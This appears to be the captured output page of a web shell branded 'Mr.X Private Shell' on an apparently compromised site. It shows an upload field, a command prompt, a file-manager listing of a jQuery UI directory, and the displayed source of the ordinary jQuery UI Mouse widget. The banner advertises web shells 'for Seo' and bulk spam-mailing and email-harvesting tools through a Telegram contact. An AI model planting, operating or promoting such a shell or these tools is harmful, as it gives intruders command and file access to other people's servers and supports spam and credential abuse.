__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
/*!
 * jQuery UI Mouse 1.13.3
 * https://jqueryui.com
 *
 * Copyright OpenJS Foundation and other contributors
 * Released under the MIT license.
 * https://jquery.org/license
 */

//>>label: Mouse
//>>group: Widgets
//>>description: Abstracts mouse-based interactions to assist in creating certain widgets.
//>>docs: https://api.jqueryui.com/mouse/

( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [
			"jquery",
			"../ie",
			"../version",
			"../widget"
		], factory );
	} else {

		// Browser globals
		factory( jQuery );
	}
} )( function( $ ) {
"use strict";

var mouseHandled = false;
$( document ).on( "mouseup", function() {
	mouseHandled = false;
} );

return $.widget( "ui.mouse", {
	version: "1.13.3",
	options: {
		cancel: "input, textarea, button, select, option",
		distance: 1,
		delay: 0
	},
	_mouseInit: function() {
		var that = this;

		this.element
			.on( "mousedown." + this.widgetName, function( event ) {
				return that._mouseDown( event );
			} )
			.on( "click." + this.widgetName, function( event ) {
				if ( true === $.data( event.target, that.widgetName + ".preventClickEvent" ) ) {
					$.removeData( event.target, that.widgetName + ".preventClickEvent" );
					event.stopImmediatePropagation();
					return false;
				}
			} );

		this.started = false;
	},

	// TODO: make sure destroying one instance of mouse doesn't mess with
	// other instances of mouse
	_mouseDestroy: function() {
		this.element.off( "." + this.widgetName );
		if ( this._mouseMoveDelegate ) {
			this.document
				.off( "mousemove." + this.widgetName, this._mouseMoveDelegate )
				.off( "mouseup." + this.widgetName, this._mouseUpDelegate );
		}
	},

	_mouseDown: function( event ) {

		// don't let more than one widget handle mouseStart
		if ( mouseHandled ) {
			return;
		}

		this._mouseMoved = false;

		// We may have missed mouseup (out of window)
		if ( this._mouseStarted ) {
			this._mouseUp( event );
		}

		this._mouseDownEvent = event;

		var that = this,
			btnIsLeft = ( event.which === 1 ),

			// event.target.nodeName works around a bug in IE 8 with
			// disabled inputs (#7620)
			elIsCancel = ( typeof this.options.cancel === "string" && event.target.nodeName ?
				$( event.target ).closest( this.options.cancel ).length : false );
		if ( !btnIsLeft || elIsCancel || !this._mouseCapture( event ) ) {
			return true;
		}

		this.mouseDelayMet = !this.options.delay;
		if ( !this.mouseDelayMet ) {
			this._mouseDelayTimer = setTimeout( function() {
				that.mouseDelayMet = true;
			}, this.options.delay );
		}

		if ( this._mouseDistanceMet( event ) && this._mouseDelayMet( event ) ) {
			this._mouseStarted = ( this._mouseStart( event ) !== false );
			if ( !this._mouseStarted ) {
				event.preventDefault();
				return true;
			}
		}

		// Click event may never have fired (Gecko & Opera)
		if ( true === $.data( event.target, this.widgetName + ".preventClickEvent" ) ) {
			$.removeData( event.target, this.widgetName + ".preventClickEvent" );
		}

		// These delegates are required to keep context
		this._mouseMoveDelegate = function( event ) {
			return that._mouseMove( event );
		};
		this._mouseUpDelegate = function( event ) {
			return that._mouseUp( event );
		};

		this.document
			.on( "mousemove." + this.widgetName, this._mouseMoveDelegate )
			.on( "mouseup." + this.widgetName, this._mouseUpDelegate );

		event.preventDefault();

		mouseHandled = true;
		return true;
	},

	_mouseMove: function( event ) {

		// Only check for mouseups outside the document if you've moved inside the document
		// at least once. This prevents the firing of mouseup in the case of IE<9, which will
		// fire a mousemove event if content is placed under the cursor. See #7778
		// Support: IE <9
		if ( this._mouseMoved ) {

			// IE mouseup check - mouseup happened when mouse was out of window
			if ( $.ui.ie && ( !document.documentMode || document.documentMode < 9 ) &&
					!event.button ) {
				return this._mouseUp( event );

			// Iframe mouseup check - mouseup occurred in another document
			} else if ( !event.which ) {

				// Support: Safari <=8 - 9
				// Safari sets which to 0 if you press any of the following keys
				// during a drag (#14461)
				if ( event.originalEvent.altKey || event.originalEvent.ctrlKey ||
						event.originalEvent.metaKey || event.originalEvent.shiftKey ) {
					this.ignoreMissingWhich = true;
				} else if ( !this.ignoreMissingWhich ) {
					return this._mouseUp( event );
				}
			}
		}

		if ( event.which || event.button ) {
			this._mouseMoved = true;
		}

		if ( this._mouseStarted ) {
			this._mouseDrag( event );
			return event.preventDefault();
		}

		if ( this._mouseDistanceMet( event ) && this._mouseDelayMet( event ) ) {
			this._mouseStarted =
				( this._mouseStart( this._mouseDownEvent, event ) !== false );
			if ( this._mouseStarted ) {
				this._mouseDrag( event );
			} else {
				this._mouseUp( event );
			}
		}

		return !this._mouseStarted;
	},

	_mouseUp: function( event ) {
		this.document
			.off( "mousemove." + this.widgetName, this._mouseMoveDelegate )
			.off( "mouseup." + this.widgetName, this._mouseUpDelegate );

		if ( this._mouseStarted ) {
			this._mouseStarted = false;

			if ( event.target === this._mouseDownEvent.target ) {
				$.data( event.target, this.widgetName + ".preventClickEvent", true );
			}

			this._mouseStop( event );
		}

		if ( this._mouseDelayTimer ) {
			clearTimeout( this._mouseDelayTimer );
			delete this._mouseDelayTimer;
		}

		this.ignoreMissingWhich = false;
		mouseHandled = false;
		event.preventDefault();
	},

	_mouseDistanceMet: function( event ) {
		return ( Math.max(
				Math.abs( this._mouseDownEvent.pageX - event.pageX ),
				Math.abs( this._mouseDownEvent.pageY - event.pageY )
			) >= this.options.distance
		);
	},

	_mouseDelayMet: function( /* event */ ) {
		return this.mouseDelayMet;
	},

	// These are placeholder methods, to be overriden by extending plugin
	_mouseStart: function( /* event */ ) {},
	_mouseDrag: function( /* event */ ) {},
	_mouseStop: function( /* event */ ) {},
	_mouseCapture: function( /* event */ ) {
		return true;
	}
} );

} );

Filemanager

Name Type Size Permission Actions
accordion.js File 15.76 KB 0664
accordion.min.js File 8.65 KB 0664
autocomplete.js File 17.12 KB 0664
autocomplete.min.js File 8.34 KB 0664
button.js File 11.43 KB 0664
button.min.js File 6.01 KB 0664
checkboxradio.js File 7.41 KB 0664
checkboxradio.min.js File 4.25 KB 0664
controlgroup.js File 8.42 KB 0664
controlgroup.min.js File 4.3 KB 0664
core.js File 48.72 KB 0664
core.min.js File 20.96 KB 0664
datepicker.js File 80.59 KB 0664
datepicker.min.js File 35.89 KB 0664
dialog.js File 23.34 KB 0664
dialog.min.js File 12.79 KB 0664
draggable.js File 34.71 KB 0664
draggable.min.js File 17.99 KB 0664
droppable.js File 12.6 KB 0664
droppable.min.js File 6.51 KB 0664
effect-blind.js File 1.61 KB 0664
effect-blind.min.js File 880 B 0664
effect-bounce.js File 2.6 KB 0664
effect-bounce.min.js File 991 B 0664
effect-clip.js File 1.54 KB 0664
effect-clip.min.js File 796 B 0664
effect-drop.js File 1.56 KB 0664
effect-drop.min.js File 753 B 0664
effect-explode.js File 2.86 KB 0664
effect-explode.min.js File 1.1 KB 0664
effect-fade.js File 968 B 0664
effect-fade.min.js File 525 B 0664
effect-fold.js File 2.13 KB 0664
effect-fold.min.js File 1020 B 0664
effect-highlight.js File 1.21 KB 0664
effect-highlight.min.js File 648 B 0664
effect-puff.js File 995 B 0664
effect-puff.min.js File 510 B 0664
effect-pulsate.js File 1.53 KB 0664
effect-pulsate.min.js File 688 B 0664
effect-scale.js File 1.34 KB 0664
effect-scale.min.js File 723 B 0664
effect-shake.js File 1.84 KB 0664
effect-shake.min.js File 846 B 0664
effect-size.js File 5.29 KB 0664
effect-size.min.js File 2.43 KB 0664
effect-slide.js File 1.92 KB 0664
effect-slide.min.js File 917 B 0664
effect-transfer.js File 888 B 0664
effect-transfer.min.js File 442 B 0664
effect.js File 24.04 KB 0664
effect.min.js File 10.09 KB 0664
menu.js File 18.52 KB 0664
menu.min.js File 9.96 KB 0664
mouse.js File 6.08 KB 0664
mouse.min.js File 3.35 KB 0664
progressbar.js File 4.14 KB 0664
progressbar.min.js File 2.5 KB 0664
resizable.js File 29.78 KB 0664
resizable.min.js File 18.38 KB 0664
selectable.js File 7.94 KB 0664
selectable.min.js File 4.4 KB 0664
selectmenu.js File 15.96 KB 0664
selectmenu.min.js File 9.28 KB 0664
slider.js File 19.14 KB 0664
slider.min.js File 10.51 KB 0664
sortable.js File 46.52 KB 0664
sortable.min.js File 24.91 KB 0664
spinner.js File 14.1 KB 0664
spinner.min.js File 7.5 KB 0664
tabs.js File 23.11 KB 0664
tabs.min.js File 11.73 KB 0664
tooltip.js File 14.14 KB 0664
tooltip.min.js File 6.1 KB 0664
Filemanager